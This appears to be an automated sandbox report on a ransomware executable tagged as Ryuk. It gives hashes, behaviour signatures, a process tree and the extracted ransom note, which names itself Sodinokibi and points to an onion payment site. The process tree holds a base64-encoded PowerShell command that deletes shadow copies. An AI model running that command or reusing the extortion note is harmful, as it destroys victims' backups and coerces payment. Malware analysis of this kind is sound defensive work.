Overview

overview

10

Static

static

10

c4e4ba1df6...9d.exe

windows7_x64

10

c4e4ba1df6...9d.exe

windows10_x64

10

Analysis

  • max time kernel
    164s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 01:07

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General

  • Target

    c4e4ba1df696daaaa6675d93199a1a94e6cc7729fe44042fe24713e2f6ce7c9d.exe

  • Size

    116KB

  • MD5

    f4584aed97469c461826ea17ca9b3c1d

  • SHA1

    083d35fbe692805d4ca1292debde192291b1b72f

  • SHA256

    c4e4ba1df696daaaa6675d93199a1a94e6cc7729fe44042fe24713e2f6ce7c9d

  • SHA512

    8137522cbf8f8010fe70798bd668054bbed56565d6568bdbdc79d633d278e34b008a966eeed0d39f049989c6e08521de55483a35fd8fd3d99d84e438a5f56dc9

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\826k8-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 826k8. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D4FF8FBC7E7A94CE 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/D4FF8FBC7E7A94CE Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: wudrW+0XOi9/9O5Bo8iB+Ik80+XQFlTQKEOS98So3veS2vY80EWe6/CxF3Lekelc yuzOBmMyz/Lgg+5xLuNVhM14uVqtLM6AFljQhmphQJigCqXexfpev1xpr3gwpdPb WnK3LypILQSQjYzIhjbH7ezE6XqCftUamdxR/8t6aySQ92CEQDDz3zxskweL0L/y FzzaP3RoGbZ5ERWO7avWwKsGmAxyAPRSl51OsCEwLYTyqnTmGAs8ySd02Py2IdDK 7zEYG+QyCGID4KlajIMuWD2eoqzyaC9sChmwPGFkZcVeRWvTyME3c55is6F4zAh+ hdxFJo0X6zC1WQzaVY293sTZSPfTeb/CUZP57EcOSEp+DWg8Ync03l3hIzvaEOkb Cqw5CtkcBRJgfj18Iy1/15B2CI7zcJnQl1SXMI0mhmw+9M1VWRXNAiSsY2jRlubG 8WM7sM6Z/APJ69VBlBPJoLYzNBtWu2ryXtZBTsALq93oza3P1f/H0qd5kqKUyfCF CGz4RSbp9PmZy/XxLjN5nk4KOqZ8hFxmVv5j0adPoh/mYeluQaPYWkXFs5uX4tAX A6K1Igf1W2kyr0c3UvhqDwsQE7dGsyMDAYnwE9d01uuWOZbiaf/o12yJZsNElgb6 3QAPOoJI3vCLFn9rwUYZOv5KB2+zgn/okbs4w6pK6TevrbOYzCUhNrw9L2rtH6da Ti412AZ36X18lSClxGWI1mhzW352L9g7n7LtDVD6ulSrUKjv8jxoLpsljKqBv6Ed fCP/mSs9DBre5MR1qlM/Tj1Xqw9BZ852V8UEdKPC7lY1KJuuMXOdfZ+ntI5pDH4s 1hpnhm6CYK+Yb7qwTRhLfPKWwQP7Ee0frIUfTEUjNleiPKnUtdO3cLhAIDBOaZkL wrmeHdjtg41be2wgVuRaK0ZoeQsKPErO7uFuCjTB75WqiDrNVhA4p9f52Nxbo0aJ +TIupu82Sh3QkTix5ZmnyzTLiU0F38WCYpThKTHYuYH8cjssJgf1hrxJveWgvBWd U2Mzx2y6EEZ/MbdPSCOUzg4w+MRN3arHvQHNqHyi6Nbpei54z/BNFs6attDVtMfc valWmG6hRpCzq7fRzBOj0yTwOPKQz2kSf/ocJix1rP8u2G9wDsMVb53tWLUxT011 cwj6pqN9asaOf/nvIGYm8m6Eo64mse4jvwJkfzhQJ5hQfDeSuMJ1F4VjxgECXalt C/ReludDZvJt4fb6Yb2lrO9tCr7ugUpSz3bRUnPB6c/l9jr53aeHmO4B+qyhIgpE fszB3nMaMHTO6Fxw2rE= Extension name: 826k8 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D4FF8FBC7E7A94CE

http://decryptor.cc/D4FF8FBC7E7A94CE

https://filehippo.com/download_tor_browser_for_windows/

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c4e4ba1df696daaaa6675d93199a1a94e6cc7729fe44042fe24713e2f6ce7c9d.exe
    "C:\Users\Admin\AppData\Local\Temp\c4e4ba1df696daaaa6675d93199a1a94e6cc7729fe44042fe24713e2f6ce7c9d.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3124
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2420
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1780

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3124-123-0x000002C126110000-0x000002C126132000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3124-126-0x000002C13E790000-0x000002C13E792000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3124-127-0x000002C13E793000-0x000002C13E795000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3124-128-0x000002C13F130000-0x000002C13F1A6000-memory.dmp

      Filesize

      472KB

      Download